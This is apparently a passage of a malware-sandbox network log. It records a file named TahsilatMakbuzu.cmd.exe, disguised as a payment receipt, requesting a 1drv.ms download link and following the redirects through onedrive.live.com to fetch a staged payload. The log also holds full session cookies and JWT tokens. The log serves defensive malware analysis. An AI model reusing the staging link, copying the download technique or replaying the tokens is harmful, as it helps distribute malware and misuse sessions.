path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzcwLCJuYmYiOjE3MjAxMTY5NzAsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiTXVsZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE3ZjYzMTk3NzRlMGYyY2NiMGU4ZmMxYmU3MDlmY2U1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NzB9.h7bAU7bWvJlRQg4qk1ERmYGcM72l7LjFylSE5lQIcmPM8CcaRncO2ObT8cep-932ezih0y8huKckETSEjxaJbnmtILW9qsr9wWwSGjvXTmaUUI8YPv7RrTCCcsnLdt8EzH_1E5pwjJvS-pRqMxaWWlwk3YF6FjS_rzd0qEnGM5T9qxLf1fMGDpTGKBp63wI9QUzdcq-KcmR67YHsJ10Siv3CSOO7a7tfRnNLRw4-Dm8IUBTo6JpOILNwNuXo--jPYqnwJCgvOsVer0Cd0zBswzEMoC30D3F8K5nk4pBrTwusjtDWjMtVUiIX0SbresTcJjAiwDL-obC61rt4xXM6vg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:10 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-xzqh8 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 3791E135A78F4C56A4DD7EFFFC791EA7 Ref B: BN3EDGE0211 Ref C: 2024-07-04T18:16:10Z Date: Thu, 04 Jul 2024 18:16:10 GMT Connection: close
2024-07-04 18:16:10 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49731	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:11 UTC	1285	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzcwLCJuYmYiOjE3MjAxMTY5NzAsImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiTXVsZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImE3ZjYzMTk3NzRlMGYyY2NiMGU4ZmMxYmU3MDlmY2U1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTY5NzB9.h7bAU7bWvJlRQg4qk1ERmYGcM72l7LjFylSE5lQIcmPM8CcaRncO2ObT8cep-932ezih0y8huKckETSEjxaJbnmtILW9qsr9wWwSGjvXTmaUUI8YPv7RrTCCcsnLdt8EzH_1E5pwjJvS-pRqMxaWWlwk3YF6FjS_rzd0qEnGM5T9qxLf1fMGDpTGKBp63wI9QUzdcq-KcmR67YHsJ10Siv3CSOO7a7tfRnNLRw4-Dm8IUBTo6JpOILNwNuXo--jPYqnwJCgvOsVer0Cd0zBswzEMoC30D3F8K5nk4pBrTwusjtDWjMtVUiIX0SbresTcJjAiwDL-obC61rt4xXM6vg; E=P:veKYYVWc3Ig=:RX0j3Z75Pf1W2jSYhJ0jj+Y8gl2DU6+1pJlhqaBJyCM=:F; xid=a7818203-278a-471e-a9e4-40005a731083 [TRUNCATED]
2024-07-04 18:16:11 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,15,5165,0,232715,4 X-SharePointHealthScore: 1 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 2e1239a1-7005-5000-f16b-d752ca2893c8 request-id: 2e1239a1-7005-5000-f16b-d752ca2893c8 MS-CV: oTkSLgVwAFDxa9dSyiiTyA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 28 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25012 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: CB97C07183AA4DDF89265A004C54C844 Ref B: BN3EDGE0508 Ref C: 2024-07-04T18:16:11Z Date: Thu, 04 Jul 2024 18:16:11 GMT Connection: close
2024-07-04 18:16:11 UTC	2235	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 31 32 2c 39 38 39 35 34 2c 38 35 32 30 30 36 34 2c 32 38 31 34 36 32 38 2c 31 38 37 39 38 33 34 36 39 32 2c 33 36 39 31 31 35 35 30 36 2c 38 30 39 31 31 31 37 34 34 2c 2d 35 31 30 33 38 39 37 35 33 2c 2d 31 30 37 33 37 34 30 37 39 39 2c 31 30 37 30 38 30 34 31 2c 38 37 31 38 33 37 31 2c 39 35 37 31 35 38 34 34 2c 36 36 37 31 36 30 33 38 2c 32 37 32 36 34 33 35 38 34 2c 31 30 37 37 33 37 39 35 38 34 2c 31 38 38 30 36 32 31 30 38 32 2c 31 30 37 36 38 39 31 39 30 34 2c 31 30 37 33 37 34 31 39 30 34 2c 33 37 31 32 33 30 37 32 31 2c 31 33 35 35 32 38 37 32 30 2c 31 33 35 31 38 30 38 2c 34 31 31 31 30 37 33 32 38 2c 33 33 33 33 37 37 39 36 35 2c 31 38 34 35 30 30 39 34 36 37 2c 31 36 30 35 31 39 30 35 35 31 2c 39 34 30 35 37 34 38 38 31 2c 32 31 33 35 30 37 32 Data Ascii: 12,98954,8520064,2814628,1879834692,369115506,809111744,-510389753,-1073740799,10708041,8718371,95715844,66716038,272643584,1077379584,1880621082,1076891904,1073741904,371230721,135528720,1351808,411107328,333377965,1845009467,1605190551,940574881,2135072
2024-07-04 18:16:11 UTC	4151	IN	Data Raw: 44 34 41 38 38 38 35 32 22 3a 74 72 75 65 2c 22 30 36 32 33 32 38 36 37 2d 41 44 42 32 2d 34 34 41 37 2d 38 37 33 31 2d 37 33 34 44 39 41 45 36 46 32 35 45 22 3a 74 72 75 65 2c 22 30 31 34 30 34 39 35 42 2d 36 45 42 46 2d 34 37 44 34 2d 39 33 32 42 2d 32 30 44 41 45 34 36 32 46 42 38 32 22 3a 74 72 75 65 2c 22 30 41 35 38 31 39 31 43 2d 43 30 37 31 2d 34 31 36 34 2d 41 33 39 43 2d 33 35 43 44 43 46 31 38 32 45 42 34 22 3a 74 72 75 65 2c 22 46 38 33 42 33 35 35 43 2d 45 30 32 31 2d 34 44 33 36 2d 41 42 39 32 2d 42 38 30 31 44 30 33 44 41 32 41 33 22 3a 74 72 75 65 2c 22 35 35 30 41 35 42 43 38 2d 30 45 33 37 2d 34 43 31 41 2d 41 41 42 38 2d 42 37 43 41 35 45 38 42 42 38 30 30 22 3a 74 72 75 65 2c 22 37 36 41 32 43 45 45 35 2d 31 33 34 33 2d 34 36 39 42 2d Data Ascii: D4A88852":true,"06232867-ADB2-44A7-8731-734D9AE6F25E":true,"0140495B-6EBF-47D4-932B-20DAE462FB82":true,"0A58191C-C071-4164-A39C-35CDCF182EB4":true,"F83B355C-E021-4D36-AB92-B801D03DA2A3":true,"550A5BC8-0E37-4C1A-AAB8-B7CA5E8BB800":true,"76A2CEE5-1343-469B-
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:16:11 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49734	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:12 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:16:12 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF3E65F20AA Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: P9hw6Q+P70qlfDs3aOSB3g.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F9032159052B45D5A869E95DEF5067A9 Ref B: EWR311000107037 Ref C: 2024-07-04T18:16:12Z Date: Thu, 04 Jul 2024 18:16:12 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49736	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:16:13 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:16:14 UTC	2216	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:WQFtY1Wc3Ig=:cBp7i5W4gIwJuPlwEiNHDJM0TsZyT7ZPWurKLkYY5JY=:F; domain=.live.com; path=/ Set-Cookie: xid=5cfb20bf-5718-4b60-800a-dd527b442040&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:36:13 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxNzczLCJuYmYiOjE3MjAxMTY5NzMsImdpdmVuX25hbWUiOiI1MSIsImZhbWlseV9uYW1lIjoiQ2F0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiNTgyMGIwNTFjOTkzNjEzZjY5MmYzOTQ0NGZiNzYyNGYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNjk3M30.SkckBvwmESEqY9_pp-lR4rfPpur5YgWZOKHDMutIji54XfvzF8gZyHw7vmhGlybV1TyCPxmTYfPOKe7T8EwkkeK4xoL6_XhnP1r_UpJZBG48n6W7743xpdpozUdMHTtQO_IPcOv5v83DXG5NmXjeL7zBVazqi2NYwHzIHlHFfYTm5p_BJ6mDLLngMTMf92vUDzLTwDudNqDuZRqRTBCPE2fNP-0Nvy7TAqWEdQ1hPc16qgVdK3MrgIxXlB6UZVhPGNfsDkGDcQmEx7QHaKx8jpI8eZCUb4MxM9XB3jYjDW76AvBcrx3Ofm-OPm_qfJKplUAkm1zF8KR-nQSR0NRMLA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:16:14 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-kbcxk X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8FDFC0BC34F4431C9C86BA0D605FFFE1 Ref B: BN3EDGE0511 Ref C: 2024-07-04T18:16:13Z Date: Thu, 04 Jul 2024 18:16:13 GMT Connection: close
